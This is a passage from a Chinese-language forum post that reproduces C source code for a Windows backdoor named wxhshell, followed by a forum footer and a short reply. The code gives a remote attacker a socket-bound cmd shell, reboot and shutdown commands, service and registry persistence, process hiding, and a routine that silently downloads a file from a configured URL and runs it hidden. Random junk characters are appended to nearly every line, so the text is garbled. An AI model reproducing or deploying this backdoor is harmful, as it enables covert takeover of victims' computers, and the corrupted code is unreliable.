  if(DownloadFile(cmd,wsh)) [4xN:i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3OH  
  else $ Qg81mu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NV9=~c x  
  } *+p'CfsSka  
  else { t4s}w$4  
>>^c_0"O  
    switch(cmd[0]) { :sT<<LtI-  
  j?z(fs-  
  // 帮助 103^\Av8  
  case '?': { fXL>L   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8-8= \  
    break; f"Iv  
  } |Ca$>]?  
  // 安装 y'pG'"U]_  
  case 'i': { 3wR5:O$H  
    if(Install()) hDp'=}85@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N;[w`d'#  
    else +}9%Duim  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yxA0#6so  
    break; 5@ ZD'  
    } X#eVw|  
  // 卸载 Pi*,&D>{7  
  case 'r': { b:%>T PT  
    if(Uninstall()) /h2`?~k+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @RaMO#  
    else 'w9tZO\2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5jjJQ'  
    break; 7?hC t  
    } @ $(4;ar  
  // 显示 wxhshell 所在路径 HmX (= Y  
  case 'p': { j@9nX4Z  
    char svExeFile[MAX_PATH]; * rs_k/2(  
    strcpy(svExeFile,"\n\r"); !4z"a@$  
      strcat(svExeFile,ExeFile); Jge;/f!i  
        send(wsh,svExeFile,strlen(svExeFile),0); W BiBtU  
    break; m&ZdtB|  
    } *4(.=k  
  // 重启 +;>>c`{  
  case 'b': { H9jj**W ;$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z1]RwbA?1  
    if(Boot(REBOOT)) HDy[/7"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VNytK_F0P  
    else { }l[t0C t  
    closesocket(wsh); V@Po}  
    ExitThread(0); N$=<6eQm  
    } 6s|C:1](b  
    break; O9>/ WmLe  
    } CF>NyY:_  
  // 关机 iWtWT1n8n  
  case 'd': { E|^a7-}|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9'4cqR  
    if(Boot(SHUTDOWN)) ~sA}.7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R(q fP  
    else { Y@.:U*  
    closesocket(wsh); C(gH}N4  
    ExitThread(0); &2) mpY8xQ  
    } .eeM&n;c  
    break; 74Kl!A  
    } WnIh( 0  
  // 获取shell E26ZVFg  
  case 's': { 1[}VyP6 e  
    CmdShell(wsh); @7BH`b$)!  
    closesocket(wsh); ke/o11LP  
    ExitThread(0); f 8uVk|a  
    break; +"d{P,[3J  
  } I.( 9{  
  // 退出 "+HZ~:~f  
  case 'x': { 4z$ eT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b9\=NdyCY  
    CloseIt(wsh); rP>5OLP  
    break; ^Nc\D7( l  
    } 4Q!*h8O  
  // 离开 Ig9$ PP+3  
  case 'q': { ^,`yt^^A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I=lA7}  
    closesocket(wsh); *J%+zH  
    WSACleanup(); q&P"  
    exit(1); R a 9/L  
    break;  lual'~  
        } G-;pMFP(?  
  } D%BV83S   
  } fC81(5   
5SK.R;mn  
  // 提示信息 -$mzzYH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U :IQWlC  
} jdoI)J@9H  
  } < Gu s9^_  
5$9j&&R  
  return; rgOB0[  
} 2p'qp/  
<K2 )v~  
// shell模块句柄 :@n e29,}  
int CmdShell(SOCKET sock) t/nu/yz5E  
{ L]9*^al  
STARTUPINFO si; xe_c`%_  
ZeroMemory(&si,sizeof(si)); jg2>=}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 38JvJR yK}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jagsV'o2  
PROCESS_INFORMATION ProcessInfo; %"{SGp  
char cmdline[]="cmd";  /pV^w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hGzj}t W8d  
  return 0; cp]\<p('A  
} 6R"& !.ZF  
,Y}HP3  
// 自身启动模式 Q?Q!D+~mND  
int StartFromService(void) A.(Z0,S-i  
{ _W&.{ 7  
typedef struct $,bLb5}Qu  
{ l? 7D0  
  DWORD ExitStatus; Pq !\6s@  
  DWORD PebBaseAddress; 9'T nR[>  
  DWORD AffinityMask; \iO ,y:  
  DWORD BasePriority; joYj`K  
  ULONG UniqueProcessId; 0(HUy`]>  
  ULONG InheritedFromUniqueProcessId; I+ydVj(Op  
}   PROCESS_BASIC_INFORMATION; _18) XR  
/2 WGo-  
PROCNTQSIP NtQueryInformationProcess; 8)'OXR0/  
0<nk>o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PWmFY'=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >'7Icx  
qN[U|3k  
  HANDLE             hProcess; _-^a8F>/19  
  PROCESS_BASIC_INFORMATION pbi; CKy' 8I9  
8+^q9rLii  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p~BEz?e  
  if(NULL == hInst ) return 0; 0.=dOz r  
bRfac/:}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~"#qG6dP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X8"4)IZ3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?s6v>#H%  
PFu{OJg&  
  if (!NtQueryInformationProcess) return 0; MA6(VII  
nD{o8;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~5q1zr)E  
  if(!hProcess) return 0; 58V`I5_  
_h6SW2:z!E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l1l=52r   
f; w\k7 #  
  CloseHandle(hProcess); kNR -eG  
Q V)>+6\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Je5}Z.3m  
if(hProcess==NULL) return 0; %|AebxB'o  
($'W(DH4  
HMODULE hMod; ,)@njC?J  
char procName[255]; 0"}J!c<g  
unsigned long cbNeeded; %PM&`c98z7  
/W9(}Id6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hK+6S3-E z  
& %A&&XT9  
  CloseHandle(hProcess); `,QcOkvbC  
B>.x@(}V~  
if(strstr(procName,"services")) return 1; // 以服务启动 {ppzg`G\  
/s*.:cdH  
  return 0; // 注册表启动 @GUlw[vi  
} YLJ^R$pi  
<yl%q*gls  
// 主模块 jaw&[f 7  
int StartWxhshell(LPSTR lpCmdLine) 3{$vN).  
{ JTIt!E}P  
  SOCKET wsl; wg%g(FO  
BOOL val=TRUE; E75/EQ5p]p  
  int port=0; Y<L35 ?  
  struct sockaddr_in door; Lq|>n Y  
]Hp>~Zvbb  
  if(wscfg.ws_autoins) Install(); ])}a^]0q  
w 5 yOSz  
port=atoi(lpCmdLine); cbN;Kv?ak}  
28k=@k^q  
if(port<=0) port=wscfg.ws_port; )fHr]#v  
&rGB58  
  WSADATA data; p^CTHk_|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GLgf%A`5/_  
z/u^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !_vxbfZO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  0:f]&Ng  
  door.sin_family = AF_INET; AtewC Yo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LH)XD[  
  door.sin_port = htons(port); *,mI=1  
f(Y_<%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >))CXGE  
closesocket(wsl); ^|H={pd'c0  
return 1; MjU|XQS:  
} L RVcf  
jMgXIK\  
  if(listen(wsl,2) == INVALID_SOCKET) { -QroT`gy  
closesocket(wsl); TP"cEfs x  
return 1; 'C/yQvJ  
} =hkYQq`Q  
  Wxhshell(wsl); )\|+G5#`  
  WSACleanup(); !bP%\)5  
4b:|>Z-  
return 0; )V\@N*L`ik  
v8)"skVnFG  
} Lm TFvZ  
.E<nQWz 8  
// 以NT服务方式启动 {uj_4Ft  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H+4j.eVzZU  
{ HwFX,?  
DWORD   status = 0; BH">#&j[  
  DWORD   specificError = 0xfffffff; N% 4"9K  
6RnzT d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TIWR[r1!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 93>4n\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "f,{d}u  
  serviceStatus.dwWin32ExitCode     = 0; )th[fUC(  
  serviceStatus.dwServiceSpecificExitCode = 0; 7;s#QqG`I  
  serviceStatus.dwCheckPoint       = 0; m^k0j/  
  serviceStatus.dwWaitHint       = 0; >Icr4?zq  
p49]{2GXb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A*EOn1hN  
  if (hServiceStatusHandle==0) return; {FNkPX  
*yu}e)(0  
status = GetLastError(); WMSJU/-P  
  if (status!=NO_ERROR) AcC &Q:g  
{ FACw;/rW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D|N4X`T`  
    serviceStatus.dwCheckPoint       = 0; ^7-zwl(>?N  
    serviceStatus.dwWaitHint       = 0; #c^V %  
    serviceStatus.dwWin32ExitCode     = status; : ?>7Z6  
    serviceStatus.dwServiceSpecificExitCode = specificError; *l+#<5x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aD^$v  
    return; FSIiw#xzH  
  } +0'F@l  
o~Se[p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m`/Nl<  
  serviceStatus.dwCheckPoint       = 0; EB~]6.1  
  serviceStatus.dwWaitHint       = 0; Lo%n{*if  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l":W@R  
} $[ {5+*  
c-a,__c?hx  
// 处理NT服务事件,比如:启动、停止 "Ms;sdjg}&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xz$4cI#n:  
{ Lc*>sOm9  
switch(fdwControl) ]A*}Dem*5  
{ ,T$ts  
case SERVICE_CONTROL_STOP: C($l'jd&  
  serviceStatus.dwWin32ExitCode = 0; X8 nos  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JMb_00r  
  serviceStatus.dwCheckPoint   = 0; "-J 5!y*,Y  
  serviceStatus.dwWaitHint     = 0; kv+%  
  { Dw-d`8*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {/'T:n#  
  } j4.wd RK  
  return; iUx\3d,  
case SERVICE_CONTROL_PAUSE: 34@[ZKJ5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GG} %  
  break; z/@_?01T=  
case SERVICE_CONTROL_CONTINUE: Ei;tfB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .E4* >@M5  
  break; Vwkvu&4  
case SERVICE_CONTROL_INTERROGATE: swKkY`g  
  break; zM'eqo>!c>  
}; S;|:ci<[=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@qp_!  
} :^;c(>u{  
9d(\/ 7  
// 标准应用程序主函数 ^D yw(>9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i?00!t  
{ S,Y|;p<+^  
d*(aue=  
// 获取操作系统版本 +H)'(<  
OsIsNt=GetOsVer(); Ndmt$(b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [$N_YcN?  
F:{*4b  
  // 从命令行安装 Gp"GTPT{  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sg#XcTG  
v^|U?  
  // 下载执行文件 DaQ"Df_X  
if(wscfg.ws_downexe) { Y\|#Lu>B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4aW@c<-r?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 20:F$d  
} oA1_W).wJ  
z>x@o}#u\|  
if(!OsIsNt) { j\>LJai"  
// 如果时win9x,隐藏进程并且设置为注册表启动 &|yLTx  
HideProc(); c9(3z0!F ?  
StartWxhshell(lpCmdLine); /{M<FVXK+|  
} M`MxdwR  
else [ks_wvY:'  
  if(StartFromService()) tUn >=>cWP  
  // 以服务方式启动 fF Q|dE;cF  
  StartServiceCtrlDispatcher(DispatchTable); x4_IUIgh  
else _O9V"DM  
  // 普通方式启动 &L o TO+  
  StartWxhshell(lpCmdLine); } ueFy<F  
[&x9<f6  
return 0; QX,$JM3  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八